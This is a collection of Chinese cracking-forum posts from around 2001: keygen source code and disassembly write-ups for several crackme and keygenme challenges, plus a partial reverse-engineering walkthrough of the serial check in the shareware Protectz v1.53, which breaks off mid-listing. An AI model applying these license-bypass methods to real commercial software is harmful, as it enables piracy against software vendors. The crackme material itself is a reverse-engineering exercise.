 花了两天时间，挺好玩。虽然算法比较直观，但是还是要仔细。
scheme :      MD5 + ELGamal64.
这个dlp是故意生成的，所以解的很容易。
用miracl自带的index.c例程改一改就可以用了。当然，index.c
中的方法是有针对性的，不是任何一种dlp都可以用这个来解。
大部分代码抄的tE!的，嘿嘿。 不用白不用！
我估计从kgm ＃3升级到 ＃4这么快的原因就是因为这个太简单了。
不多说了，在多说我也不会了，哈哈！
To be continue...

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <conio.h>
#include "./miracl/miracl.h"
#include "./md5/md5.h"

#pragma comment( lib, "./miracl/ms32.lib" )

typedef    unsigned char    BYTE;
typedef unsigned long    DWORD;

void FormatHash( char *s, BYTE *md )
{
int j;
for( j = 0; j < 16; j++ )
{
sprintf( s, "%02x", md[j] );
s += 2;
}
}

void main()
{
MD5_CTX    c;
BYTE    md[ MD5_DIGEST_LENGTH ];
char    uName[60] = { 0x00 };
char    uCode[60] = { 0x00 };
char    temp1[20] = { 0x00 };
char    temp2[20] = { 0x00 };
DWORD    n_k;
int        i, j, t;

static char mod_n[] =    "37A218F214C32D79";
static char ELG_p[] =     "C9D94F46D0984F43";
static char ELG_g[] =    "4B45042B684BCBD1";
static char ELG_x[] =     "6C18DA28FDD8FEF1";
big    p, g, x, k, a, b, y,
  m, n, e;
miracl *mip;

srand( time( NULL ) );
fprintf( stderr, ">>Keygen for [ TMG - Official keygenme
  #3 ] by arbiter[CCG].\n" );
fprintf( stderr, ">>Your userName :\t" );
gets( uName );
MD5_Init( &c );
MD5_Update( &c, ( BYTE* ) uName, strlen(
  uName ) );
MD5_Final( md, &c );
FormatHash( uName, md );
strupr( uName );
mip=mirsys( 100, 0 );
p = mirvar( 0 );
g = mirvar( 0 );
x = mirvar( 0 );
k = mirvar( 0 );
a = mirvar( 0 );
b = mirvar( 0 );
y = mirvar( 0 );
m = mirvar( 0 );
n = mirvar( 0 );
e = mirvar( 3 );

mip->IOBASE=16;
cinstr( p, ELG_p );
cinstr( g, ELG_g );
cinstr( x, ELG_x );
cinstr( n, mod_n );
cinstr( m, uName );

while( 1 )
{
n_k = rand();
n_k = ( n_k ^ 2 ) % 0xffffffff;
if( ( n_k % 2 ) != 0 && ( n_k
  % 0x232D4D ) != 0 )
break;
}

convert( n_k, k );

/* m = m ^ 3 mod n, the final message to be signatured. */
powmod( m, e, n, m );

/* first part of regCode, i.e.the first part of signature.
  */
powmod( g, k, p, y );

decr( p, 1, p );
/* a=xy mod p-1 */
multiply(x,y,a);
divide(a,p,b);

/* b=m-a mod p-1 */
if( compare( m, a ) != 1 )
add( m, p, m );
subtract(m,a,b);
divide(b,p,a);

/* m=b/k mod p-1 ( 1/k (mod p-1) first, then b*1/k (mod p-1)
  )
the second part of regCode */
xgcd(k,p,k,k,k);
multiply(b,k,a);
divide(a,p,b);

cotstr( y, temp1 );
cotstr( a, temp2 );

mirkill( k );
mirkill( p );
mirkill( g );
mirkill( x );
mirkill( m );
mirkill( y );
mirkill( a );
mirkill( b );
mirkill( n );
mirkill( e );

t = strlen( temp1 );
j = 16 - t;
for( i = 0; j < j; i++ )
uCode[j] = 0x30;
for( i = 0; i < t; i++ )
uCode[i + j] = temp1[i];
t = strlen( temp2 );
j = 16 - t;
for( i = 0; j < j; i++ )
uCode[j + 16] = 0x30;
for( i = 0; i < t; i++ )
uCode[i + j + 16] = temp2[i];

fprintf( stderr, ">>Your userCode :\t%s\n", uCode );
getch();
}


冷雨飘心的CrkMe2

 标 题:冷雨飘心的CrkMe2自战解说以及关于加密算法RC5,请指教 (4千字)
发信人:冷雨飘心[BCG]
时 间:2001-9-23 16:25:41
详细信息:
首先声明:我写crackme的目的不是想难倒任何人,也不是用于任何水平测试,只是想把自己一点幼稚的想法通过他与同好者分享.

我的crkMe2以及RC5算法[自战解说]
--嘿嘿,看大家这么轻松就破了,我自己也来凑热闹
作者:冷雨飘心
完成时间:9-23/2001

前言
;======================================================================
crack和保护就象矛和盾,只有研究保护才能更有效的crack,isn't it?
最近没有时间破解那些大东西,只好研究一下保护,这过程中感觉到欠缺的知识太多
看来得学习一阵子了...

这个crackme只是演示一下密码学的应用,如果不知道这个可逆的话,穷举攻击是很困难的
本来还是想加一点anti-trw or SICE的代码和花指令,还有内存校验防止爆破的东东,可
自己时间有限,这个东东用一下午来写,调试又用了2个小时,(我用的是纯汇编),结果还有BUG!~_~
最可惜的是我花费一多半时间搞的DDraw画面还和一些设置冲突无法运行.

当然为了不浪费大家的时间也没有必要把所有的保护全放进来,所以把所有条件都给出了,
计算注册码仅仅是求逆的过程,重点在于考察对于简单算法的了解,实际应用不可能如此简单!
呵呵不废话了,还是进入正文:

;=======================================================================
RC5是由 Rivest(RSA的发明者之一,还设计了许多加密算法,崇拜~_~)设计的一种序列密码算法,只
用了几种最简单的的运算(XOR,ADD,sub和LOOP)但是统计特性很好,在加密多轮后(15轮以上)可以有
效抗击穷举攻击.这里讨论64位分组,为什么?呵呵,便于计算机实现,我的crkme2就是个64位分组最简
单的情形.
原理:
将64位分为两个各32位分组A,B,准备加密X轮,需密钥相关32位字数目2X+2个设为S[0],S[1]...
加密:
A+=S[0]
B+=S[1]
for (i=1 to i=X)
A=((A xor B)<<B)+S[2i]

output:-->A和B

解密:
for (i=X to i=1)
B=((b-S[2i+1])>>A) Xor A
A=((A-S[2i])>>B) xor B
B-=S[1]
A-=S[0]

呵呵,谁说密码学全部难啊,这个够简单罢,呵呵,好就用他来保护我的crkme2:

RC5struct STRUC
turn dd 8
cont dd 0
S0 dd " CCG" ;密钥全部给出了实际上完全可以隐藏密钥只发给注册用户
S1 dd "&BCG" ;再计算这个密钥分组,注册码里可以有一部分是这个密钥
S2 dd "Good" ;然后根据一定的规则初始化密钥相关分组
S3 dd "hehe" ;这个是大家娱乐的,就这样吧
S4 dd "hehe" ;另外还可以存放关键部分数据,用他加密特征字,然后
S5 dd "hehe" ;适当时用密钥解密,如果结果与特征字不同不同就证明遭到
S6 dd "hehe" ;暴力修改或者损坏,失败
S7 dd "CRYP"
S8 dd "CRYP"
S9 dd "CRYP"
S10 dd "CRYP"
S11 dd "love"
S12 dd "love"
S13 dd "love"
S14 dd "love"
S15 dd "myth"
S16 dd "myth"
S17 dd "myth"
dd 4 dup(0)

RC5struct ENDS
我的crackme2的关键就是由用户名计算得到一个32位字,另外一个B也给出了,(实际上可以只发给注
册用户),作为明文.而将注册码部分作为密文,然后解密则应必定与明文相同(这里可以对密钥相关的S0..
是否被修改做出反映,可以CRC的,呵呵这次就不加了),这里得到的结果与用户名计算的特征字比较
不同就失败,呵呵.
如何计算注册码?写这个crackme主要是想测试一下有没有人试图穷举攻击,如果是,呵呵,很不幸,上当了!
实际上所有资料都已经给出,直接逆运算不就好了,呵呵,简单吧!!!对明文加密得到的密文就是注册码,没有
任何难度!
当然实际软件保护不可能这么容易,他可以隐藏一个密文(只发给注册用户)或者密钥部分的生成作些手脚,使你不容易分析,也可以导致得不到正确的注册码便无法作注册机,还可以用来作CRC保护...(类似winhex?),
当然对于这种保护来说,写注册机和追注册码一样"简单".

附加密和解密函数(我自己写的,呵呵丑陋不要骂我):
加密:
RC5MainCall_Encrypt PROC
add eax,rc5key.S0 ;in eax & edx
add edx,rc5key.S1
lea esi,rc5key.S2
mov edi,rc5key.cont
@gRc5encrypt:
inc edi

mov ecx,edx
xor eax,edx
and ecx,1fh ;to get the shift result
rol eax,cl
add eax,[esi]
add esi,4
mov ecx,eax
xor edx,eax
and ecx,1fh
rol edx,cl
add edx,[esi]
add esi,4
cmp edi,rc5key.turn
jb @gRc5encrypt
mov RC5_r3,eax
mov RC5_r4,edx
mov rc5key.cont,0
ret
RC5MainCall_Encrypt ENDP

解密:

RC5MainCall_Decrypt PROC ;key data to be decrypt is in eax,edx
lea esi,rc5key.S17
mov edi,rc5key.cont
@gRc5decrypt:
inc edi
mov ecx,eax
sub edx,[esi]
sub esi,4
and ecx,1fh ;to get the shift result
ror edx,cl
xor edx,eax
mov ecx,edx
sub eax,[esi]
sub esi,4
and ecx,1fh
ror eax,cl
xor eax,edx
cmp edi,rc5key.turn
jb @gRc5decrypt
sub edx,rc5key.S1
sub eax,rc5key.S0
mov RC5_r5,eax
mov RC5_r6,edx
ret
RC5MainCall_Decrypt ENDP

标 题:我来简单分析一下冷雨飘心大哥的crackme。给没能破出来的朋友指点一下。 (4千字)
发信人:S.M
时 间:2001-9-23 13:13:26
详细信息:

[作者：S.M]

冷雨飘心大哥crackme的注册机都出来了，我来简单分析一下。
给没能破出来的朋友提醒一下：

* Referenced to: user32.sengMessageA,ord:0210h
******** call 00401d04
******** or eax,eax
******** je 00401389
....
.... mov al,10 \
.... add al,1D /al==2D
....
******** repnz scasb -- 搜是否有‘-’
******** jne 0040129c -- 没有跳，所以注册码中要有‘-’。
******** mov eax,dword ptr [004031BB]
******** xor eax,4743435F --eax中为注册码倒置的前四位和
GCC_“比较”，填_CCG-123456789
******** jne 004012A4
******** lea esi, dword ptr [004031BB]
******** add esi, 00000005 --除去注册码前5位移入esi
******** call call 0040172F --F8进入
******** xor eax,FFFFFFF
******** je 004012A4

来到：
0040172F push esi
....
....
******** mov ecx,00000007 --循环7次
....
....
******** cmp al,30 \
******** jb 0040174c |
******** cmp al,46 |是否在0-F，否则死
******** ja 0040174c /
******** cmp al,40 \
******** ja 00401750 /A-F跳
******** cmp al,3A \
******** jb 00401750 /0-9跳

* Referenced by a (U)nconditional or (C)onditional Jump at
Address:
00401750 cmp al,41 \
******** jb 00401756 /0-9跳
******** sub al,07

* Referenced by a (U)nconditional or (C)onditional Jump at
Address:

00401756 sub al,30
******** and al,0F
******** and bl,al
******** shl ebx,04
******** loop 0040173B --将注册码6-12位移入ebx
....
******** cmp al,31 \比较第13位
******** jb 00401772 |
******** cmp al,46 |
******** ja 00401772 |是否在1-F，否则死
******** cmp al,40 |
******** ja 00401776 |A-F跳
******** cmp al,3A |
******** jb 00401776 / 0-9跳

* Referenced by a (U)nconditional or (C)onditional Jump at
Address:

00401776 cmp al,41 --0-9跳
******** jb 0040177C
0040177A sub al,07

* Referenced by a (U)nconditional or (C)onditional Jump at
Address:

0040177C sub al,07
******** and al,0F
******** and bl,al
******** mov eax,ebx
******** jmp 0040178B --跳过00401786

* Referenced by a (U)nconditional or (C)onditional Jump at
Address:
00401786 mov eax,FFFFFFFF

跳出call，接下来来到：
******** lea esi, dword ptr [004031BB]
******** add esi, 0000000E --除去注册码前14位移入esi
******** call call 0040172F --跟前面的call一样。
重填注册码_CCG-123456789ABCDEF12
******** xor eax,FFFFFFF
******** je 004012A4
....
******** mov eax,dword ptr [004030E3] --12345678
******** mov edx,dword ptr [004030E7] --ABCDEF12
******** call 00401636 --关键的call。
由于本人太懒，不想循环的算，
所以还是写个算法比较干脆，
幸好伪大哥写了，大家参考一下吧。

******** mov eax,dword ptr [004030EB] --算出的前四位
******** mov eax,dword ptr [004030EF] --后几位
******** xor eax,dword ptr [004030DB] --注册名算出的注册
码前四位‘比较’

******** jne 004012A4
******** xor eax,dword ptr [004030DF]
******** jne 004012A4 后几位比较
******** jmp 004012BD --不要以为成功了^__^

* Referenced by a (U)nconditional or (C)onditional Jump at
Address:
....
******** mov al, byte ptr [esi+04]
******** sub al,0D
******** cmp al,20 --第五位是否为‘-’
******** jne 004012A4
******** mov al, byte ptr [esi+0D]
******** cmp al,2D --第14位是否为‘-’
******** jne 004012A4
******** jmp 004012AC success!!

接下来可以欣赏美丽的画面了。(真的好看!!)
整理一下注册码的格式为：_CCG-XXXXXXXX-XXXXXXXX

标 题:贴这个的注册机，并且发现一个BUG (1千字)
发信人:伪装者[CCG]
时 间:2001-9-23 3:18:05
详细信息:

 #include "stdio.h"
#define ROTATE(a,n)  (((a)<<(n))|(((a)&0xffffffff)>>(32-(n))))
main()
{unsigned long eax=0,edx=0x656d7568;
unsigned long temp1=0,temp2,n;
char tb[]="dooGehehehehehehehehPYRCPYRCPYRCPYRCevolevolevolevolhtymhtymhtym";
int i,d;
unsigned char string[81];
printf("******Crkme 0.02********\nThis
keygen is made by Pretender\nPlease input your user name:  ");
gets(string);
d=strlen(string);
string[32]=0;
if(d<=32)
for(i=d;i<32;i++)
{n=string[i-1];
string[i]=n/i+n*i;
}
n=0;
if(d<=32)
{for(i=0;i<d;i++)
n+=string[i];
n&=0xff;
eax=n<<24;}

eax+=0x200000;
for(i=1;string[i]!=0;i++)
{n=string[i];
n*=i;
temp1+=n;}
temp1^=-1;
temp1&=0xffff;
eax+=temp1;
eax+=0x20434347;edx+=0x26424347;
for(i=0;i<8;i++)
{temp1=tb[i*8]+tb[i*8+1]*256+tb[i*8+2]*65536+tb[i*8+3]*256*65536;
temp2=tb[i*8+4]+tb[i*8+5]*256+tb[i*8+6]*65536+tb[i*8+7]*256*65536;
eax^=edx;
n=edx&0x1f;
eax=ROTATE(eax,n);
eax+=temp1;
edx^=eax;
n=eax&0x1f;
edx=ROTATE(edx,n);
edx+=temp2;
}
printf("Your Register
code is  : _CCG-");
printf("%lX-%lX\n",eax,edx);
printf(" *****************************
    ---    ---    ---\n *Welcome to WWW.CRACKNOW.COM*
    /      /      / --\n *****************************
    ---    ---    --/\n");
}
也许是作者不小心在401762处有一个BUG
应将401762 CMP AL，31改为CMP AL，30否则将有6.25%的用户名没有注册码（如CRACKNOW）~~~~另外还有就是CRACKME中有些计算没有意义~~~（算用户名的时候的）
整体而言这个CRACKME还是比较不错的！


KeyGenMeRSA

 标 题:KeyGen of KeyGenMeRSA, 无法用完全的C插入了一点asm, 憾甚 (5千字)
发信人:lancelot[CCG]
时 间:2001-10-11 18:33:48
详细信息:
 #include "lip.h"
#include <string.h>

void main()
{
int i=0,j=0,f=0;
verylong n=0;
verylong d=0;
verylong m=0;
unsigned long M[5],M2[5];
unsigned long temp;
char modulus_n[]="D2E9BF9B3D258E479D8CC23C7A33E1F8EBB3ADB1";
char private_d[]="C6546E0C11ACCE2543DD1150C4CE7A05A4C8FA3D";
char UserName[40];
char Company[40];
int LenOfName=0,LenOfCompany=0;

for(i=0;i<5;i++)
{
M[i]=0;
M2[i]=0;
}
i=0;
j=0;

printf("\n ******* KeyGen of TMG KeyGenMeRSA (KeyGenMe#2)
  ******* ");
printf("\n ***************** used freelip v1.1 ******************
  ");
printf("\n *************** by lancelot [CCG] [FCG] **************
  ");

do
{
printf("\n\n Please enter the username:
  ");
gets(UserName);
LenOfName=strlen(UserName);
if(LenOfName<5)
printf("\n The username
  can't be less than 5 characters, please try again\n");
}
while(LenOfName<5);

do
{
printf("\n Please enter the company: ");
gets(Company);
LenOfCompany=strlen(Company);
if(LenOfCompany<5)
printf("\n The company
  can't be less than 5 characters, please try again\n");
}
while(LenOfCompany<5);

/* *****************************************UserName****************************
  */
M[j]=0xffffffff;
M[j]&=0xffffff00;
M[j]+=UserName[i];
M[j]^=(UserName[i]*0x100);
M[j]*=0x89177313;
M[j]&=0x55aa55aa;
M[j]*=0x12299381;
M[j]^=0xaa55aa11;
M[j]*=0x00000061;
M[j]^=((M[j]&0x000000ff)*0x100);
M[j]|=0x10030118;
M[j]*=0x00988279;
/* rcl (LenOfName-i) */
_asm
{
lahf
mov f,eax
}
f=f&0x100;

if(f)
M[j]=(((M[j]<<(LenOfName-i))|((M[j]&(0xffffffff<<(32-(LenOfName-i))))>>(33-(LenOfName-i))))|(0x00000001<<(LenOfName-1-i)));

else
M[j]=((M[j]<<(LenOfName-i))|((M[j]&(0xffffffff<<(32-(LenOfName-i))))>>(33-(LenOfName-i))));

temp=M[j];
M2[j]^=M[j];

for(i=1;i<LenOfName;i++)
{
j=(((0+(i-1)*4)&0xf)/4)+1;

M[j]=temp;
M[j]&=0xffffff00;
M[j]+=UserName[i];
M[j]^=(UserName[i]*0x100);
M[j]*=0x89177313;
M[j]&=0x55aa55aa;
M[j]*=0x12299381;
M[j]^=0xaa55aa11;
M[j]*=0x00000061;
M[j]^=((M[j]&0x000000ff)*0x100);
M[j]|=0x10030118;
M[j]*=0x00988279;
/* rcl (LenOfName-i) */

_asm
{
lahf
mov f,eax
}
f=f&0x100;

if(f)
M[j]=(((M[j]<<(LenOfName-i))|((M[j]&(0xffffffff<<(32-(LenOfName-i))))>>(33-(LenOfName-i))))|(0x00000001<<(LenOfName-1-i)));
else
M[j]=((M[j]<<(LenOfName-i))|((M[j]&(0xffffffff<<(32-(LenOfName-i))))>>(33-(LenOfName-i))));

temp=M[j];
M2[j]^=M[j];
}

/* ***************************************Company******************************
  */

i=0;
M[0]=temp;
for(i=1;i<5;i++) { M[i]=0; }
i=0;
j=0;
M[j]&=0xffffff00;
M[j]+=Company[i];
M[j]=(M[j]&0xffff00ff)|(((M[j]&0x0000ff00)-(Company[i]*0x100))&0x0000ff00);
M[j]*=0x89157313;
M[j]&=0x55aa55aa;
M[j]*=0x12299387;
M[j]|=0xaa55aa11;
M[j]*=0x00000061;
M[j]^=0x10010114;
M[j]*=0x07918279;
M[j]^=((M[j]&0x000000ff)*0x100);
/* rcr (LenOfCompany-i) */

_asm
{
lahf
mov f,eax
}
f=f&0x100;

if(f)
M[j]=(((M[j]>>(LenOfCompany-i))|((M[j]&(0xffffffff>>(32-(LenOfCompany-i))))<<(33-(LenOfCompany-i))))|(0x80000000>>(LenOfCompany-1-i)));
else
M[j]=((M[j]>>(LenOfCompany-i))|((M[j]&(0xffffffff>>(32-(LenOfCompany-i))))<<(33-(LenOfCompany-i))));

temp=M[j];
M2[j]^=M[j];

for(i=1;i<LenOfCompany;i++)
{
j=(((0+(i-1)*4)&0xf)/4)+1;

M[j]=temp;
M[j]&=0xffffff00;
M[j]+=Company[i];
M[j]=(M[j]&0xffff00ff)|(((M[j]&0x0000ff00)-(Company[i]*0x100))&0x0000ff00);
M[j]*=0x89157313;
M[j]&=0x55aa55aa;
M[j]*=0x12299387;
M[j]|=0xaa55aa11;
M[j]*=0x00000061;
M[j]^=0x10010114;
M[j]*=0x07918279;
M[j]^=((M[j]&0x000000ff)*0x100);
/* rcr
  (LenOfCompany-i) */

_asm
{
lahf
mov f,eax
}
f=f&0x100;

if(f)
M[j]=(((M[j]>>(LenOfCompany-i))|((M[j]&(0xffffffff>>(32-(LenOfCompany-i))))<<(33-(LenOfCompany-i))))|(0x80000000>>(LenOfCompany-1-i)));
else
/* M[j]=((M[j]>>(LenOfCompany-i))|((M[j]&(0xffffffff>>(32-(LenOfCompany-i))))<<(33-(LenOfCompany-i))));
  */
{
temp=M[j]&(0xffffffff>>(32-(LenOfCompany-i)));
if(i==(LenOfCompany-1))
temp=0;
else
temp=temp<<(33-(LenOfCompany-i));
M[j]=((M[j]>>(LenOfCompany-i))|temp);
}

temp=M[j];
M2[j]^=M[j];
}

temp-=M2[2];
temp*=0x34814815;
M2[4]+=temp;
temp=(temp>>0x0000000b);
temp&=0x00000003;
M2[0]&=0xffffff00;
M2[0]+=temp;

for(i=0;i<5;i++)
{
temp=0;
temp|=((M2[i]&0x000000ff)<<24);
temp|=((M2[i]&0x0000ff00)<<8);
temp|=((M2[i]&0x00ff0000)>>8);
temp|=((M2[i]&0xff000000)>>24);
M[4-i]=temp;
}

zultoz(M, (long) 5,&m);
zstrtozbas(modulus_n, (long) 16, &n);
zstrtozbas(private_d, (long) 16, &d);

zexpmod(m,d,n,&m); /* m = m^d % n */

printf("\n your registration code is: "); /* out put the
  result */
zhwrite(m);
printf("\n\n Please remove the space between the registration
  code manually.");
printf("\n\n Press any key to continue...");
getchar();

zfree(&d); /* Clean up */
zfree(&m);
zfree(&n);
}
======================================================================================
惭愧,这个KeyGen编译后,比那个KeyGenMe大了20几倍。

感谢看雪论坛上众多前辈的热情帮助，特别感谢 arbiter 、伪装者[CCG], 我感觉我好像快要摸到
crack的大门了，呵呵。
========================================================
,;~;,
/\_
(  /
(()      //)
| \\  ,,;;'\
__ _(  )m=(lancelot(================--------
/'  ' '()/~' '.(, |
,;(      )||    |  ~
,;' \    /-(.;,  )
    兰斯洛特[CCG][FCG]
) /      ) /
//        ||
                  2001.10.11
)_\        )_\
==========================================================


Protectz v1.53

 标 题:protectz v1.53 (21千字)
发信人:lancelot[CCG]
详细信息:
下载：http://newhua.infosail.com/down/protectz.exe

* Referenced by a CALL at Address:
|:0048926F
|
:00488F8C 55 push ebp
:00488F8D 8BEC mov ebp, esp
:00488F8F 83C4B0 add esp, FFFFFFB0
:00488F92 33D2 xor edx, edx
:00488F94 8955B0 mov dword ptr [ebp-50], edx
:00488F97 8955B4 mov dword ptr [ebp-4C], edx
:00488F9A 8955B8 mov dword ptr [ebp-48], edx
:00488F9D 8955BC mov dword ptr [ebp-44], edx
:00488FA0 8955C8 mov dword ptr [ebp-38], edx
:00488FA3 8955C4 mov dword ptr [ebp-3C], edx
:00488FA6 8945FC mov dword ptr [ebp-04], eax
:00488FA9 33C0 xor eax, eax
:00488FAB 55 push ebp
:00488FAC 6898914800 push 00489198
:00488FB1 64FF30 push dword ptr fs:[eax]
:00488FB4 648920 mov dword ptr fs:[eax], esp
:00488FB7 8D55C8 lea edx, dword ptr [ebp-38]
:00488FBA 8B45FC mov eax, dword ptr [ebp-04]
:00488FBD 8B8004030000 mov eax, dword ptr [eax+00000304]
:00488FC3 E8687EFAFF call 00430E30<---------------------------------读取注册码
:00488FC8 8B45C8 mov eax, dword ptr [ebp-38]
:00488FCB 50 push eax
:00488FCC 8D55C4 lea edx, dword ptr [ebp-3C]
:00488FCF 8B45FC mov eax, dword ptr [ebp-04]
:00488FD2 8B8000030000 mov eax, dword ptr [eax+00000300]
:00488FD8 E8537EFAFF call 00430E30<---------------------------------读取用户名
:00488FDD 8B45C4 mov eax, dword ptr [ebp-3C]
:00488FE0 5A pop edx
:00488FE1 E8AEF9FFFF call 00488994<-----------------(1)-------------比较核心，跟入
:00488FE6 85C0 test eax, eax
:00488FE8 0F8482010000 je 00489170
================================================================================================
* Referenced by a CALL at Address:<------------------------call (1)
|:00488FE1
|
:00488994 55 push ebp
:00488995 8BEC mov ebp, esp
:00488997 B905000000 mov ecx, 00000005

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004889A1(C)
|
:0048899C 6A00 push 00000000
:0048899E 6A00 push 00000000
:004889A0 49 dec ecx
:004889A1 75F9 jne 0048899C
:004889A3 51 push ecx
:004889A4 8955F8 mov dword ptr [ebp-08], edx<-------------注册码
:004889A7 8945FC mov dword ptr [ebp-04], eax<-------------用户名
:004889AA 8B45FC mov eax, dword ptr [ebp-04]
:004889AD E86AB6F7FF call 0040401C
:004889B2 8B45F8 mov eax, dword ptr [ebp-08]
:004889B5 E862B6F7FF call 0040401C
:004889BA 33C0 xor eax, eax
:004889BC 55 push ebp
:004889BD 68AE8B4800 push 00488BAE
:004889C2 64FF30 push dword ptr fs:[eax]
:004889C5 648920 mov dword ptr fs:[eax], esp
:004889C8 33C0 xor eax, eax
:004889CA 8945F4 mov dword ptr [ebp-0C], eax
:004889CD 8D45F0 lea eax, dword ptr [ebp-10]
:004889D0 8B55F8 mov edx, dword ptr [ebp-08]
:004889D3 E8A8B2F7FF call 00403C80
:004889D8 8B55F0 mov edx, dword ptr [ebp-10]
:004889DB B8C48B4800 mov eax, 00488BC4
:004889E0 E86FB7F7FF call 00404154<--------------------------注册码中'-'的位置
:004889E5 8845EB mov byte ptr [ebp-15], al<--------------在第9位
:004889E8 807DEB00 cmp byte ptr [ebp-15], 00
:004889EC 0F8687010000 jbe 00488B79<---------------------------没有'-'就完了
:004889F2 33D2 xor edx, edx
:004889F4 8A55EB mov dl, byte ptr [ebp-15]
:004889F7 8D45F0 lea eax, dword ptr [ebp-10]
:004889FA B901000000 mov ecx, 00000001
:004889FF E8ACB6F7FF call 004040B0<--------------------------去掉注册码中的'-'
:00488A04 8B45F0 mov eax, dword ptr [ebp-10]
:00488A07 E85CB4F7FF call 00403E68<--------------------------计算注册码的长度
:00488A0C 83F810 cmp eax, 00000010<----------------------不包括'-',要16位
:00488A0F 0F8564010000 jne 00488B79<---------------------------不然就完蛋
:00488A15 8D45EC lea eax, dword ptr [ebp-14]
:00488A18 E8CBB1F7FF call 00403BE8
:00488A1D C645EB01 mov [ebp-15], 01

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00488A60(C)
|
:00488A21 8D45E0 lea eax, dword ptr [ebp-20]
:00488A24 50 push eax
:00488A25 33C0 xor eax, eax
:00488A27 8A45EB mov al, byte ptr [ebp-15]
:00488A2A 8BD0 mov edx, eax
:00488A2C 03D2 add edx, edx
:00488A2E 4A dec edx
:00488A2F B902000000 mov ecx, 00000002
:00488A34 8B45F0 mov eax, dword ptr [ebp-10]<-----------去掉'-'后,的注册码
:00488A37 E834B6F7FF call 00404070<-------------------------取前两位
:00488A3C 8B45E0 mov eax, dword ptr [ebp-20]
:00488A3F E870FDFFFF call 004887B4<-------------------------转换成16进制并放在al中
:00488A44 8BD0 mov edx, eax<--------------------------"12"==>0x12
:00488A46 8D45E4 lea eax, dword ptr [ebp-1C]
:00488A49 E842B3F7FF call 00403D90
:00488A4E 8B55E4 mov edx, dword ptr [ebp-1C]
:00488A51 8D45EC lea eax, dword ptr [ebp-14]
:00488A54 E817B4F7FF call 00403E70
:00488A59 FE45EB inc [ebp-15]
:00488A5C 807DEB09 cmp byte ptr [ebp-15], 09
:00488A60 75BF jne 00488A21<--------------------------循环8次
:00488A62 8D45F0 lea eax, dword ptr [ebp-10]
:00488A65 E87EB1F7FF call 00403BE8
:00488A6A 8B45EC mov eax, dword ptr [ebp-14]
:00488A6D E8F6B3F7FF call 00403E68
:00488A72 84C0 test al, al
:00488A74 7636 jbe 00488AAC
:00488A76 8845EA mov byte ptr [ebp-16], al
:00488A79 C645EB01 mov [ebp-15], 01

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00488AAA(C)
|
:00488A7D 8D45DC lea eax, dword ptr [ebp-24]
:00488A80 33D2 xor edx, edx
:00488A82 8A55EB mov dl, byte ptr [ebp-15]
:00488A85 8B4DEC mov ecx, dword ptr [ebp-14]
:00488A88 8A5411FF mov dl, byte ptr [ecx+edx-01]
:00488A8C 8A4DEB mov cl, byte ptr [ebp-15]
:00488A8F 80C134 add cl, 34 12 xor (1+34)==0x27
:00488A92 32D1 xor dl, cl 34 xor (2+34)==0x02
:00488A94 E8F7B2F7FF call 00403D90 56 xor (3+34)==0x61
:00488A99 8B55DC mov edx, dword ptr [ebp-24] 78 xor (4+34)==0x40
:00488A9C 8D45F0 lea eax, dword ptr [ebp-10] 87 xor (5+34)==0xbe
:00488A9F E8CCB3F7FF call 00403E70 65 xor (6+34)==0x5f
:00488AA4 FE45EB inc [ebp-15] 43 xor (7+34)==0x78
:00488AA7 FE4DEA dec [ebp-16]<----------------------- 21 xor (8+34)==0x1d
:00488AAA 75D1 jne 00488A7D

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00488A74(C)
|
:00488AAC 8D45EC lea eax, dword ptr [ebp-14]
:00488AAF 50 push eax
:00488AB0 B9BB000000 mov ecx, 000000BB
:00488AB5 BA07000000 mov edx, 00000007
:00488ABA 8B45F0 mov eax, dword ptr [ebp-10]<-----------27 02 61 40 be 5f 78 1d
:00488ABD E8AEFDFFFF call 00488870<--------------(1.1)------计算出8位的用户名,跟入
:00488AC2 8D45F0 lea eax, dword ptr [ebp-10]
:00488AC5 E81EB1F7FF call 00403BE8
:00488ACA 8B45FC mov eax, dword ptr [ebp-04]<-----------输入的用户名
:00488ACD E896B3F7FF call 00403E68<-------------------------计算长度
:00488AD2 84C0 test al, al
:00488AD4 764C jbe 00488B22
:00488AD6 8845EA mov byte ptr [ebp-16], al
:00488AD9 C645EB01 mov [ebp-15], 01

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00488B20(C)
|
:00488ADD 33C0 xor eax, eax
:00488ADF 8A45EB mov al, byte ptr [ebp-15]
:00488AE2 8B55FC mov edx, dword ptr [ebp-04]
:00488AE5 807C02FF20 cmp byte ptr [edx+eax-01], 20<---------是否小于0x20
:00488AEA 762E jbe 00488B1A
:00488AEC 33C0 xor eax, eax
:00488AEE 8A45EB mov al, byte ptr [ebp-15]
:00488AF1 8B55FC mov edx, dword ptr [ebp-04]
:00488AF4 807C02FF7B cmp byte ptr [edx+eax-01], 7B<---------是否大于0x7b
:00488AF9 731F jnb 00488B1A
:00488AFB 8D45D8 lea eax, dword ptr [ebp-28]
:00488AFE 33D2 xor edx, edx
:00488B00 8A55EB mov dl, byte ptr [ebp-15]
:00488B03 8B4DFC mov ecx, dword ptr [ebp-04]
:00488B06 8A5411FF mov dl, byte ptr [ecx+edx-01]
:00488B0A E881B2F7FF call 00403D90
:00488B0F 8B55D8 mov edx, dword ptr [ebp-28]
:00488B12 8D45F0 lea eax, dword ptr [ebp-10]
:00488B15 E856B3F7FF call 00403E70

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:00488AEA(C), :00488AF9(C)
|
:00488B1A FE45EB inc [ebp-15]
:00488B1D FE4DEA dec [ebp-16]
:00488B20 75BB jne 00488ADD

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00488AD4(C)
|
:00488B22 8D55D4 lea edx, dword ptr [ebp-2C]
:00488B25 8B45F0 mov eax, dword ptr [ebp-10]
:00488B28 E8D3FAF7FF call 00408600<------------------------转换成大写字母
:00488B2D 8B55D4 mov edx, dword ptr [ebp-2C]
:00488B30 8D45F0 lea eax, dword ptr [ebp-10]
:00488B33 E848B1F7FF call 00403C80
:00488B38 8B45F0 mov eax, dword ptr [ebp-10]
:00488B3B E828B3F7FF call 00403E68
:00488B40 83F808 cmp eax, 00000008<-------------------要大于8个字
:00488B43 7E0D jle 00488B52
:00488B45 8D45F0 lea eax, dword ptr [ebp-10]
:00488B48 BA08000000 mov edx, 00000008
